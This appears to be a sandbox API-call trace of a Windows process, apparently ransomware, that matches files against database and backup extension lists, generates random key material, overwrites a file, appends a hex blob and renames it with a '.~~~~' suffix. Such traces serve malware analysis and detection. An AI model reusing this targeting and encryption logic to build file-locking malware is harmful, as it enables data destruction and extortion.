	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".txt") returned 0x0
	[0082.870] lstrlenW (lpString=".mdt") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".mdt") returned 0x0
	[0082.870] lstrlenW (lpString=".BDB") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".BDB") returned 0x0
	[0082.870] lstrlenW (lpString=".eql") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".eql") returned 0x0
	[0082.870] lstrlenW (lpString=".DBF") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DBF") returned 0x0
	[0082.870] lstrlenW (lpString=".EQL") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".EQL") returned 0x0
	[0082.870] lstrlenW (lpString=".FDB") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".FDB") returned 0x0
	[0082.871] lstrlenW (lpString=".EDB") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".EDB") returned 0x0
	[0082.871] lstrlenW (lpString=".DACPAC") returned 7
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DACPAC") returned 0x0
	[0082.871] lstrlenW (lpString=".VHD") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".VHD") returned 0x0
	[0082.871] lstrlenW (lpString=".DBV") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DBV") returned 0x0
	[0082.871] lstrlenW (lpString=".dacpac") returned 7
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dacpac") returned 0x0
	[0082.871] lstrlenW (lpString=".sdf") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".sdf") returned 0x0
	[0082.871] lstrlenW (lpString=".accdb") returned 6
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".accdb") returned 0x0
	[0082.871] lstrlenW (lpString=".DBX") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DBX") returned 0x0
	[0082.871] lstrlenW (lpString=".MDT") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".MDT") returned 0x0
	[0082.871] lstrlenW (lpString=".SQB") returned 4
	[0082.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".SQB") returned 0x0
	[0082.871] lstrlenW (lpString=".vhd") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".vhd") returned 0x0
	[0082.872] lstrlenW (lpString=".bac") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".bac") returned 0x0
	[0082.872] lstrlenW (lpString=".mdf") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".mdf") returned 0x0
	[0082.872] lstrlenW (lpString=".BAK") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".BAK") returned 0x0
	[0082.872] lstrlenW (lpString=".BAC") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".BAC") returned 0x0
	[0082.872] lstrlenW (lpString=".dbs") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dbs") returned 0x0
	[0082.872] lstrlenW (lpString=".vhdx") returned 5
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".vhdx") returned 0x0
	[0082.872] lstrlenW (lpString=".NDF") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".NDF") returned 0x0
	[0082.872] lstrlenW (lpString=".dat") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dat") returned 0x0
	[0082.872] lstrlenW (lpString=".DBS") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DBS") returned 0x0
	[0082.872] lstrlenW (lpString=".CKP") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".CKP") returned 0x0
	[0082.872] lstrlenW (lpString=".edb") returned 4
	[0082.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".edb") returned 0x0
	[0082.873] lstrlenW (lpString=".PST") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".PST") returned 0x0
	[0082.873] lstrlenW (lpString=".dbf") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dbf") returned 0x0
	[0082.873] lstrlenW (lpString=".SQL") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".SQL") returned 0x0
	[0082.873] lstrlenW (lpString=".pst") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".pst") returned 0x0
	[0082.873] lstrlenW (lpString=".dbv") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dbv") returned 0x0
	[0082.873] lstrlenW (lpString=".SDF") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".SDF") returned 0x0
	[0082.873] lstrlenW (lpString=".dtxs") returned 5
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dtxs") returned 0x0
	[0082.873] lstrlenW (lpString=".db3") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".db3") returned 0x0
	[0082.873] lstrlenW (lpString=".OST") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".OST") returned 0x0
	[0082.873] lstrlenW (lpString=".dbx") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dbx") returned 0x0
	[0082.873] lstrlenW (lpString=".DB3") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DB3") returned 0x0
	[0082.873] lstrlenW (lpString=".DAT") returned 4
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DAT") returned 0x0
	[0082.873] lstrlenW (lpString=".VHDX") returned 5
	[0082.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".VHDX") returned 0x0
	[0082.874] lstrlenW (lpString=".ndf") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".ndf") returned 0x0
	[0082.874] lstrlenW (lpString=".DB") returned 3
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DB") returned 0x0
	[0082.874] lstrlenW (lpString=".sql") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".sql") returned 0x0
	[0082.874] lstrlenW (lpString=".MYD") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".MYD") returned 0x0
	[0082.874] lstrlenW (lpString=".DBT") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DBT") returned 0x0
	[0082.874] lstrlenW (lpString=".ACCDB") returned 6
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".ACCDB") returned 0x0
	[0082.874] lstrlenW (lpString=".fdb") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".fdb") returned 0x0
	[0082.874] lstrlenW (lpString=".bak") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".bak") returned 0x0
	[0082.874] lstrlenW (lpString=".myd") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".myd") returned 0x0
	[0082.874] lstrlenW (lpString=".DTXS") returned 5
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".DTXS") returned 0x0
	[0082.874] lstrlenW (lpString=".ckp") returned 4
	[0082.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".ckp") returned 0x0
	[0082.874] lstrlenW (lpString=".dbt") returned 4
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dbt") returned 0x0
	[0082.875] lstrlenW (lpString=".db") returned 3
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".db") returned 0x0
	[0082.875] lstrlenW (lpString=".TXT") returned 4
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".TXT") returned 0x0
	[0082.875] lstrlenW (lpString=".MDF") returned 4
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".MDF") returned 0x0
	[0082.875] lstrlenW (lpString=".bdb") returned 4
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".bdb") returned 0x0
	[0082.875] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.875] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.876] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.876] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.876] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20286661718) returned 1
	[0082.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b3ea4f0, dwHighDateTime=0x1d60e1e)) 
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac778
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac778 | out: hHeap=0x300000) returned 1
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0082.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0082.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.877] GetLastError () returned 0x0
	[0082.878] GetLastError () returned 0x0
	[0082.878] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.878] GetLastError () returned 0x0
	[0082.878] GetLastError () returned 0x0
	[0082.880] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff1a72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.881] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xe58e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xe58e, lpOverlapped=0x0) returned 1
	[0082.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.881] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.881] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.881] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.881] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.882] CloseHandle (hObject=0x124) returned 1
	[0082.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0082.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.~~~~")) returned 1
	[0082.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0082.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.883] GetLastError () returned 0x0
	[0082.883] RtlWakeConditionVariable () returned 0x365f70
	[0082.883] GetCurrentThreadId () returned 0x3a4
	[0082.883] GetCurrentThreadId () returned 0x3a4
	[0082.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5188 | out: hHeap=0x300000) returned 1
	[0082.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac740 | out: hHeap=0x300000) returned 1
	[0082.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5188
	[0082.883] lstrlenW (lpString=".scr") returned 4
	[0082.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".scr") returned 0x0
	[0082.883] lstrlenW (lpString=".cmd") returned 4
	[0082.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".cmd") returned 0x0
	[0082.883] lstrlenW (lpString=".dll") returned 4
	[0082.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dll") returned 0x0
	[0082.883] lstrlenW (lpString=".bat") returned 4
	[0082.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".bat") returned 0x0
	[0082.883] lstrlenW (lpString=".cpl") returned 4
	[0082.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".cpl") returned 0x0
	[0082.884] lstrlenW (lpString=".sys") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".sys") returned 0x0
	[0082.884] lstrlenW (lpString=".msc") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".msc") returned 0x0
	[0082.884] lstrlenW (lpString=".com") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".com") returned 0x0
	[0082.884] lstrlenW (lpString=".lnk") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".lnk") returned 0x0
	[0082.884] lstrlenW (lpString=".msp") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".msp") returned 0x0
	[0082.884] lstrlenW (lpString=".pif") returned 4
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".pif") returned 0x0
	[0082.884] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0082.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.884] lstrlenW (lpString=".sqb") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".sqb") returned 0x0
	[0082.885] lstrlenW (lpString=".ost") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".ost") returned 0x0
	[0082.885] lstrlenW (lpString=".txt") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".txt") returned 0x0
	[0082.885] lstrlenW (lpString=".mdt") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".mdt") returned 0x0
	[0082.885] lstrlenW (lpString=".BDB") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".BDB") returned 0x0
	[0082.885] lstrlenW (lpString=".eql") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".eql") returned 0x0
	[0082.885] lstrlenW (lpString=".DBF") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DBF") returned 0x0
	[0082.885] lstrlenW (lpString=".EQL") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".EQL") returned 0x0
	[0082.885] lstrlenW (lpString=".FDB") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".FDB") returned 0x0
	[0082.885] lstrlenW (lpString=".EDB") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".EDB") returned 0x0
	[0082.885] lstrlenW (lpString=".DACPAC") returned 7
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DACPAC") returned 0x0
	[0082.885] lstrlenW (lpString=".VHD") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".VHD") returned 0x0
	[0082.885] lstrlenW (lpString=".DBV") returned 4
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DBV") returned 0x0
	[0082.885] lstrlenW (lpString=".dacpac") returned 7
	[0082.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".dacpac") returned 0x0
	[0082.886] lstrlenW (lpString=".sdf") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".sdf") returned 0x0
	[0082.886] lstrlenW (lpString=".accdb") returned 6
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".accdb") returned 0x0
	[0082.886] lstrlenW (lpString=".DBX") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".DBX") returned 0x0
	[0082.886] lstrlenW (lpString=".MDT") returned 4
	[0082.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpSrch=".MDT") returned 0x0
